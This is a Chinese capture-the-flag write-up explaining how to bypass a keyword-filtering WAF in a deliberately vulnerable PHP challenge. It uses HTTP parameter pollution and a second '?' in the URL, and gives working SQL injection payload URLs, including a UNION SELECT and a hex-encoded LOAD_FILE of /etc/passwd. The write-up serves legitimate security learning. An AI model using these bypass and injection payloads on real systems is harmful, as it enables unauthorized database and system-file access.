三个白帽之招聘又开始了,你怕了吗 waf部分的writeup

背景:

这个题目是今年某一期三个白帽的题目,看过之后很感兴趣,于是便还原出来,题目地址

https://ctf.f4ck0.com/ctf/index.php

分析:

上代码:


 <?php
function waf($str) {   
   if(stripos(strtolower($str),"select")!==false)       
           die("Be a good person!");    
   if(stripos(strtolower($str),"union")!==false)        
            die("Be a good person!");
}
function wafArr($arr) { 
   foreach ($arr as $k => $v) {
        waf($k);
        waf($v);    
}}
wafArr($_GET);
wafArr($_POST);
wafArr($_COOKIE);
wafArr($_SESSION);
function stripStr($str) {
    if (get_magic_quotes_gpc())
        $str = stripslashes($str);
    $a=addslashes(htmlspecialchars($str, ENT_QUOTES, 'UTF-8'));
    return $a;
}
$uri = explode("?",$_SERVER['REQUEST_URI']);
if(isset($uri[1])) {
    $parameter = explode("&",$uri[1]);
    foreach ($parameter as $k => $v) {
        $v1 = explode("=",$v);
        if (isset($v1[1])) {
            $_REQUEST[$v1[0]] = stripStr($v1[1]); 
       }    
}}
var_dump($_REQUEST);
$con=mysqli_connect("localhost","root","123","demo");
$result = mysqli_query($con,"SELECT * FROM ctf where user=".$_REQUEST['id'].";");
echo "</br>";
var_dump($row = mysqli_fetch_array($result));
highlight_file('index.php');?>

数据库结构

CREATE TABLE `ctf` ( 
 `user` int(11) DEFAULT NULL, 
 `pass` varchar(255) DEFAULT NULL)

CREATE TABLE `ctf2` (  
`user` int(11) DEFAULT NULL, 
 `flag is here` varchar(255) DEFAULT NULL)

下面分析一下waf的代码。首先,检查get,post,cookies,这些参数,在这里我只用了简单的字符串匹配。当然了,这块不是重点,这块我只是想强调get,post这些参数被过滤。

随后进入if 分支,也就是重组request了。首先使用?去分割url。根据规定,?前面是地址,后面是用户所提交的参数。并且将前面所得到的数组的第二个元素,也即是里面是参数的那个,再使用=分割,获取健值,并且将值使用stripStr函数过滤。过滤完成后,重组在系统的REQUEST数组中。

全部过滤好参数后,再执行数据库语句。

这个题主要考查的是http参数污染。也就是说同时提交许多参数一样的值,根据环境的不同,将会产生覆盖等问题。例如在本题中,如果提交的参数是?id=1?&id=2的话,apache默认会使用后面的值去覆盖前面的值。所以在php接收get参数的时候,将会接收到id=2,而不是id=1。

根据上面讲的,我们可以绕过第一个waf的检测。

第二个是重点,题目把所接收到的url(http://11.com/index.php?id=1)使用?分割,并且使用分割后数组的第二个元素去执行waf过滤。那么问题来了,如果我提交的字符串里面还有一个?呢?(http://11.com/index.php?id=1?&id=2)很简单,会分割成含有三个元素的数组,第一部分含有url地址,第二部分含有id=1,第三部分含有 &id=2,并且第三部分的数据并不会参与任何运算,而且还可以被识别成get所提交的参数。

所以我们可以提交url中参数为id=xxxxxx?id=1这样的参数去绕过waf检测,在if分支中,会使用url中的id=xxx这段代码去重组,并放入request数组中。看一下下面的数据库执行语句,使用的request数组。所以呢,我们只需要继续分析if分支的过滤代码即可。

分支中,值将会被addslashes , htmlspecialchars这两个函数过滤。第二个函数是转义html实体编码的,针对于空格,我们使用mysql的注释符号即可绕过/**/。再看第一个函数。第一个函数会将单引号,双引号,反斜杠注释掉,去防止sql注入。那么是否意味着就没有sql注入了呢?再分析一下数据库和所执行的数据库语句,"SELECT * FROM ctf where user=".$_REQUEST['id'].";",而且ctf表的user字段类型是int,题目也恰好不需要单引号和双引号去闭合(参见绕过intval注入)。于是,直接注入即可,不需要考虑addslashes 函数。注意只要不出现单引号和双引号即可注入成功。

参见payload

https://ctf.f4ck0.com/ctf/?id=0/**/union/**/select/**/*/**/from/**/ctf2?&id=1

当然了,这个题要是想load_file怎么办呢,文件的路径名必须的用单引号啊。这里我们可以使用字符串转16进制,即可突破限制。

参见payload
https://ctf.f4ck0.com/ctf/?id=-1/**/union/**/select/**/1,LOAD_FILE(0x2f6574632f706173737764)?&id=1

后记

我在第一次看参考的那两位的wp时候并没有直接看懂,因为有点问题,说的比较笼统。尤其是这句话

当然waf不生效了,而在重组$_REQUEST
时,覆盖并没有发生,所以注入语句顺利的被执行

所以根本不需要怼waf,uri被处理后,GET
_REQUEST的值可以不一样,然后直接注入就好了

尤其困惑,而且看payload,也没说出个所以然来。于是根据博客中提供的代码,还原部分环境去本地测试。结果发现题目中好多巧合,才导致的addslashes的绕过。其实如果这道题稍微做一下改动,两位表哥所分析的可能就不对了。所以我在这里写下详细的分析过程,帮助其他人学习。😄

参考:

  1. http://0x48.pw/2016/06/17/0x1C/

  2. http://www.firesun.me/san-ge-bai-mao-zhi-zhao-pin-you-kai-shi-liao-ni-pa-liao-ma-writeup/

  3. http://huaidan.org/archives/3047.html

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 204,189评论 6 478
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 85,577评论 2 381
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 150,857评论 0 337
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,703评论 1 276
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,705评论 5 366
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,620评论 1 281
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 37,995评论 3 396
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,656评论 0 258
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 40,898评论 1 298
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,639评论 2 321
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,720评论 1 330
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,395评论 4 319
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 38,982评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,953评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,195评论 1 260
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 44,907评论 2 349
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,472评论 2 342

推荐阅读更多精彩内容

  • Spring Cloud为开发人员提供了快速构建分布式系统中一些常见模式的工具(例如配置管理,服务发现,断路器,智...
    卡卡罗2017阅读 134,594评论 18 139
  • http://192.168.136.131/sqlmap/mysql/get_int.php?id=1 当给sq...
    xuningbo阅读 10,246评论 2 22
  • sqlmap用户手册 说明:本文为转载,对原文中一些明显的拼写错误进行修正,并标注对自己有用的信息。 ======...
    wind_飘阅读 2,027评论 0 5
  • 近十年来,WAF 已经逐渐发展成熟,被软件行业接受并成为无数企业保护应用的不二选择。很多大型企业甚至相继亲自设计或...
    OneAPM阅读 981评论 0 1
  • 我和画画的故事很长,一直喜欢,从未放弃,话不多说,直接放图。 喜欢请多支持。 希望可以得到同样热爱画画,你们的支持...
    不二很不二阅读 275评论 3 2